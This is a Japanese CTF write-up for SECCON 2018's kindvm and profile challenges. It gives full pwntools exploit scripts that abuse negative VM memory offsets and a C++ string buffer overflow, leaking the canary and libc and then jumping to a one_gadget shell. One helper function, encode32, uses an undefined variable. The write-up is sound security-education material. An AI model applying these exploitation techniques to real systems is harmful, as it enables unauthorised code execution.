SECCON 2018 Online CTF write up

チームm1z0r3で出場してprofileとkindvmを解いたのでそのwrite-up

# kindvm

名前を聞かれた後，専用のバイトコードを入力する.
`load`と`store`のメモリアクセスのオフセットに負数が使えるので，最初の名前を`flag.txt`にして，`halt`のときに表示される`banner.txt`へのポインタを`flag.txt`のポインタに書き換えればよい．

![kindvm_memory.png](https://qiita-image-store.s3.amazonaws.com/0/266861/0fe8d718-0451-a074-3f2d-aac3afa89dec.png)

```exploit.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

opcode_nop   = 0
opcode_load  = 1
opcode_store = 2
opcode_mov   = 3
opcode_add   = 4
opcode_sub   = 5
opcode_halt  = 6
opcode_in    = 7
opcode_out   = 8
opcode_hint  = 9

def encode16(word):
    if word < 0:
        word = 2**16 + word
    assert(0 <= word < 2**16)
    return chr(word >> 8) + chr(word & 0xff)

def encode32(dword):
    if dword < 0:
        dword = 2**32 + dword
    assert(0 <= dword < 2**32)
    return chr(word >> 24) + chr((dword >> 16) & 0xff) \
         + chr((dword >> 8) & 0xff) + chr(dword & 0xff)

def nop():
    return chr(opcode_nop)

def load(dst_reg, src_addr):
    return chr(opcode_load) + chr(dst_reg) + encode16(src_addr)

def store(dst_addr, src_reg):
    return chr(opcode_store) + encode16(dst_addr) + chr(src_reg)

def mov(dst_reg, src_reg):
    return chr(opcode_mov) + chr(dst_reg) + chr(src_reg)

def add(dst_reg, src_reg):
    return chr(opcode_add) + chr(dst_reg) + chr(src_reg)

def sub(dst_reg, src_reg):
    return chr(opcode_sub) + chr(dst_reg) + chr(src_reg)

def halt():
    return chr(opcode_halt)

def in_(dst_reg, dword):
    return chr(opcode_in) + chr(dst_reg) + encode32(dword)

def out(reg):
    return chr(opcode_out) + chr(reg)

def main():
    name   = -40
    banner = -36
    payload = load(0, name) + store(banner, 0)
    payload += halt()

    tube = remote('kindvm.pwn.seccon.jp', 12345)
    tube.recvuntil('name : ')
    tube.sendline('flag.txt')
    tube.recvuntil('instruction : ')
    tube.send(payload)
    tube.interactive()

if __name__ == '__main__':
    main()
```

# profile
```
Please introduce yourself!
Name >> Mallory
Age >> 20
Message >> message

1 : update message
2 : show profile
0 : exit
>> 
```
C++で書かれたバイナリ．名前，年齢，メッセージを入力するとメニューが開く．名前とメッセージはC++の`string`で確保されている．`update`で上書きできる長さは`malloc_usable_size(string.c_str())`で決まっていて，一見大きくはみ出して書き込むことができないように見える．しかし，`string`は文字列が短い時は文字列本体を`string`の内部におくので，これによって`malloc_usable_size`で参照されるサイズが小さくなり，`malloc_usable_size`がめちゃくちゃ大きい数を返すようになる．
これで`BOF`ができるようになったが，`show`での出力が`cout`を使っていて，`string`のもとのサイズまでしか表示されない．なので，メッセージからリークするのではなく，`BOF`で名前のポインタを書き換えて名前からリークを行う．
まずは，`BOF`で名前のポインタを1byte書き換えて，スタックのアドレスをリークする．
![profile_before.png](https://qiita-image-store.s3.amazonaws.com/0/266861/1b5e003b-210d-f367-1cea-5418e8ee65e8.png)
![profile_after.png](https://qiita-image-store.s3.amazonaws.com/0/266861/dfd98972-3aa1-43b5-cd86-9069d432e0e6.png)

これによって，ポインタをまるごと書き換えられるようになるので，それを使ってスタック上にある`canary`と`__libc_start_main+240`をリークする．
`__libc_start_main+240`からlibcのアドレスがわかるので，`BOF`で`main`のリターンアドレスを`one_gadget`に書き換えてシェルがとれる(`system`はよくわからないけど失敗した)．
なお，スタックのアドレスは下位bitも毎回ちょっと変わるので，何回か試行する必要がある．

```exploit.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

binary_file = './profile'
libc_file   = 'libc.so.6'

binary = ELF(binary_file)
libc   = ELF(libc_file)

def main_menu(tube, n):
    tube.recvuntil('>> ')
    tube.sendline(str(n))

def update(tube, name):
    main_menu(tube, 1)
    tube.recvuntil('>> ')
    tube.sendline(name)

def show(tube):
    main_menu(tube, 2)
    tube.recvuntil('Name : ')
    return tube.recvuntil('\n')[:-1]

def bye(tube):
    main_menu(tube, 0)

leak_stack_gdb   = 0x7fffffffed20
stack_string_gdb = 0x7fffffffed10
canary_gdb       = 0x7fffffffed48
stack_rip_gdb    = 0x7fffffffed68
string_to_canary = canary_gdb - stack_string_gdb
string_to_rip    = stack_rip_gdb - stack_string_gdb
pop_rdi_ret      = 0x00401713

def main(one_gadget_offset):
    tube = remote('profile.pwn.seccon.jp', 28553)
# init
    tube.recvuntil('Name >> ')
    tube.sendline('Mallory')
    tube.recvuntil('Age >> ')
    tube.sendline('20')
    tube.recvuntil('Message >> ')
    tube.sendline('message')

# leak stack
    update(tube, 'a' * 0x10 + chr(0x20)) # LSB of stack addr may change
    data = show(tube)
    print(data)
    leak_stack_addr = u64(data.ljust(8, '\0'))
    stack_string = leak_stack_addr - leak_stack_gdb + stack_string_gdb
    print('stack_string = ' + hex(stack_string))
    assert(stack_string > 0)
    assert(stack_string % 0x10 == 0)

# leak canary
    update(tube, 'a' * 0x10 + p64(stack_string + string_to_canary + 1))
    canary = '\0' + show(tube)[:7]
    int_canary = u64(canary.ljust(8, '\0'))
    print('canary = ' + hex(int_canary))
    assert(int_canary > 0x600000)
    assert((int_canary & 0xff) == 0)

# leak libc
    update(tube, 'a' * 0x10 + p64(stack_string + string_to_rip))
    data = show(tube)
    libc_start_main_240 = u64(data.ljust(8, '\0'))
    libc_base = libc_start_main_240 - libc.symbols['__libc_start_main'] - 240
    print('libc_base = ' + hex(libc_base))
    assert((libc_base & 0xfff) == 0)
    one_gadget = libc_base + one_gadget_offset

# call system
    string = '\0' * string_to_canary + canary
    string = string.ljust(string_to_rip, '\0')
    update(tube, string + p64(one_gadget))
    bye(tube)
    tube.interactive()

if __name__ == '__main__':
    main(0x45216)

```